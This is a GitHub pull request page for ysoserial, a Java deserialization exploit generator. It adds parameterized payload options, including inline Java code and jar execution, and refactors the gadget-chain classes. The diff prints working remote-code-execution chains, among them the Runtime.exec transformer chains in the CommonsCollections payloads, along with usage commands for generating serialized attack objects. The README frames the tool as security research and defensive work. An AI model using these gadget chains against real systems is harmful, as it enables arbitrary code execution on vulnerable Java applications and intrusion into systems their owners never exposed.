Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add parameterized payloads #219

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 19 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -34,12 +34,20 @@ for the development of effective defensive techniques, and is not intended to be
used to attack systems except where explicitly authorized. Project maintainers
are not responsible or liable for misuse of the software. Use responsibly.

## Dependencies issues

As stated in [BishopFox's fork](https://github.com/BishopFox/ysoserial-bf?tab=readme-ov-file#missing-javaxinterceptor-api-library),
javax.interceptor-api library version 3.1 was a bump version typo and was removed from central repositories.
As a result, artifacts cannot be downloaded anymore.

You can find this library and a workaround to fix this issue [here](https://github.com/BishopFox/ysoserial-bf?tab=readme-ov-file#missing-javaxinterceptor-api-library).

## Usage

```shell
$ java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
Usage: java -jar ysoserial-[version]-all.jar [payload] [arguments ...]
Available payload types:
Payload Authors Dependencies
------- ------- ------------
Expand Down Expand Up @@ -79,6 +87,16 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
```

A few arguments were added to customize gadget chains relying on Translets or CommonsCollections Transformers:

```shell
$ java -jar ysoserial.jar CommonsCollections1 --inline 'System.out.println("Hello world");'
[...]

$ java -jar ysoserial.jar CommonsBeanutils1 --jar-file /path/to/app.jar --jar-main org.random.Main -- arg0 arg1 arg2
[...]
```

## Examples

```shell
Expand Down
7 changes: 6 additions & 1 deletion pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -177,6 +177,11 @@
<artifactId>remoting-jmx</artifactId>
<version>2.0.1.Final</version>
</dependency>
<dependency>
<groupId>commons-cli</groupId>
<artifactId>commons-cli</artifactId>
<version>1.6.0</version>
</dependency>

<!-- gadget dependecies -->

Expand Down Expand Up @@ -444,5 +449,5 @@
<name>GitHub Packages</name>
<url>https://maven.pkg.github.com/frohoff/ysoserial</url>
</repository>
</distributionManagement>
</distributionManagement>
</project>
45 changes: 41 additions & 4 deletions src/main/java/ysoserial/GeneratePayload.java
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,10 @@
import java.io.PrintStream;
import java.util.*;

import org.apache.commons.cli.ParseException;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.ParameterizedObjectPayload;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;

Expand All @@ -14,12 +16,12 @@ public class GeneratePayload {
private static final int USAGE_CODE = 64;

public static void main(final String[] args) {
if (args.length != 2) {
if (args.length == 0) {
printUsage();
System.exit(USAGE_CODE);
}
final String payloadType = args[0];
final String command = args[1];
final String[] payloadArgs = Arrays.copyOfRange(args, 1, args.length);

final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
Expand All @@ -31,7 +33,42 @@ public static void main(final String[] args) {

try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
if(payloadArgs.length == 0) {
if (payload instanceof ParameterizedObjectPayload) {
System.err.println(((ParameterizedObjectPayload) payload).getHelp());
} else {
System.err.println("Usage: java -jar ysoserial-[version]-all.jar "+ payloadType +" '[command]'");
}
System.exit(USAGE_CODE);
return;
}
final Object object;
if (payload instanceof ParameterizedObjectPayload) {
ParameterizedObjectPayload parameterizedPayload = (ParameterizedObjectPayload)payload;
try {
object = parameterizedPayload.getObject(payloadArgs);
} catch (ParseException e) {
System.err.println("Error: " + e.getMessage());
System.err.println(parameterizedPayload.getHelp());
System.exit(USAGE_CODE);
return;
} catch (IllegalArgumentException e) {
if (e.getMessage() != null) {
System.err.println("Error: " + e.getMessage());
}
System.err.println(parameterizedPayload.getHelp());
System.exit(USAGE_CODE);
return;
}
} else {
if (payloadArgs.length > 1) {
System.err.println("Error: the payload '" + payloadType + "' does not support multiple arguments");
printUsage();
System.exit(USAGE_CODE);
return;
}
object = payload.getObject(payloadArgs[0]);
}
PrintStream out = System.out;
Serializer.serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
Expand All @@ -45,7 +82,7 @@ public static void main(final String[] args) {

private static void printUsage() {
System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] [arguments ...]");
System.err.println(" Available payload types:");

final List<Class<? extends ObjectPayload>> payloadClasses =
Expand Down
17 changes: 17 additions & 0 deletions src/main/java/ysoserial/Strings.java
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,10 @@ public static String join(Iterable<String> strings, String sep, String prefix, S
return sb.toString();
}

public static String join(Iterable<String> strings, String sep) {
return Strings.join(strings, sep, null, null);
}

public static String repeat(String str, int num) {
final String[] strs = new String[num];
Arrays.fill(strs, str);
Expand Down Expand Up @@ -49,6 +53,19 @@ public static List<String> formatTable(List<String[]> rows) {
return lines;
}

public static String escapeJavaString(String str) {
return str.replace("\\", "\\\\")
.replace("\"", "\\\"");
}

public static String[] escapeJavaStrings(String[] strs) {
String[] res = new String[strs.length];
for(int i = 0; i < res.length; ++i) {
res[i] = escapeJavaString(strs[i]);
}
return res;
}

public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
}
Expand Down
7 changes: 4 additions & 3 deletions src/main/java/ysoserial/payloads/Click1.java
Original file line number Diff line number Diff line change
Expand Up @@ -47,9 +47,10 @@
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
@Authors({ Authors.ARTSPLOIT })
public class Click1 implements ObjectPayload<Object> {
public class Click1 extends ParameterizedTransletObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
@Override
protected Object getObject(Object templates) throws Exception {

// prepare a Column.comparator with mock values
final Column column = new Column("lowestSetBit");
Expand All @@ -69,7 +70,6 @@ public Object getObject(final String command) throws Exception {
// finally, we inject and new TemplatesImpl object into the queue,
// so its getOutputProperties() method will be called
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
final Object templates = Gadgets.createTemplatesImpl(command);
queueArray[0] = templates;

return queue;
Expand All @@ -78,4 +78,5 @@ public Object getObject(final String command) throws Exception {
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Click1.class, args);
}

}
17 changes: 12 additions & 5 deletions src/main/java/ysoserial/payloads/CommonsBeanutils1.java
Original file line number Diff line number Diff line change
@@ -1,25 +1,32 @@
package ysoserial.payloads;

import java.lang.reflect.Constructor;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;

import org.apache.commons.beanutils.BeanComparator;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF })
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public class CommonsBeanutils1 extends ParameterizedTransletObjectPayload<Object> {

protected Object getObject(final Object templates) throws Exception {
//NullComparator implements Comparator<?> and Serializable
Constructor<?> nullComparatorConstructor = Reflections
.getFirstCtor("java.util.Comparators$NullComparator");
Comparator<?> nullComparator = (Comparator<?>) nullComparatorConstructor
.newInstance(true, null);

public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
final BeanComparator comparator = new BeanComparator("lowestSetBit",
nullComparator);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
Expand Down
19 changes: 4 additions & 15 deletions src/main/java/ysoserial/payloads/CommonsCollections1.java
Original file line number Diff line number Diff line change
Expand Up @@ -44,25 +44,13 @@
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public class CommonsCollections1 extends ParameterizedTransformersObjectPayload<InvocationHandler> {

public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
@Override
protected InvocationHandler getObject(Transformer[] transformers) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

Expand All @@ -84,4 +72,5 @@ public static void main(final String[] args) throws Exception {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}

}
6 changes: 3 additions & 3 deletions src/main/java/ysoserial/payloads/CommonsCollections2.java
Original file line number Diff line number Diff line change
Expand Up @@ -27,10 +27,10 @@
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public class CommonsCollections2 extends ParameterizedTransletObjectPayload<Queue<Object>> {

public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
@Override
protected Queue<Object> getObject(Object templates) throws Exception {
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

Expand Down
14 changes: 7 additions & 7 deletions src/main/java/ysoserial/payloads/CommonsCollections3.java
Original file line number Diff line number Diff line change
Expand Up @@ -30,11 +30,10 @@
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
public class CommonsCollections3 extends ParameterizedTransletObjectPayload<Object> {

@Override
protected Object getObject(Object templates) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
Expand All @@ -43,7 +42,7 @@ public Object getObject(final String command) throws Exception {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
new Object[] { templates } )};

final Map innerMap = new HashMap();

Expand All @@ -63,6 +62,7 @@ public static void main(final String[] args) throws Exception {
}

public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
return JavaVersion.isAnnInvHUniversalMethodImpl();
}

}
8 changes: 4 additions & 4 deletions src/main/java/ysoserial/payloads/CommonsCollections4.java
Original file line number Diff line number Diff line change
Expand Up @@ -26,11 +26,10 @@
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {

public Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
public class CommonsCollections4 extends ParameterizedTransletObjectPayload<Queue<Object>> {

@Override
protected Queue<Object> getObject(Object templates) throws Exception {
ConstantTransformer constant = new ConstantTransformer(String.class);

// mock method name until armed
Expand Down Expand Up @@ -61,4 +60,5 @@ public Queue<Object> getObject(final String command) throws Exception {
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections4.class, args);
}

}
18 changes: 3 additions & 15 deletions src/main/java/ysoserial/payloads/CommonsCollections5.java
Original file line number Diff line number Diff line change
Expand Up @@ -52,25 +52,13 @@
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public class CommonsCollections5 extends ParameterizedTransformersObjectPayload<BadAttributeValueExpException> {

public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
@Override
protected BadAttributeValueExpException getObject(Transformer[] transformers) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

Expand Down
21 changes: 4 additions & 17 deletions src/main/java/ysoserial/payloads/CommonsCollections6.java
Original file line number Diff line number Diff line change
Expand Up @@ -36,24 +36,10 @@
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER })
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {

public Serializable getObject(final String command) throws Exception {

final String[] execArgs = new String[] { command };

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
public class CommonsCollections6 extends ParameterizedTransformersObjectPayload<Serializable> {

@Override
protected Serializable getObject(Transformer[] transformers) throws Exception {
Transformer transformerChain = new ChainedTransformer(transformers);

final Map innerMap = new HashMap();
Expand Down Expand Up @@ -106,4 +92,5 @@ public Serializable getObject(final String command) throws Exception {
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections6.class, args);
}

}
Loading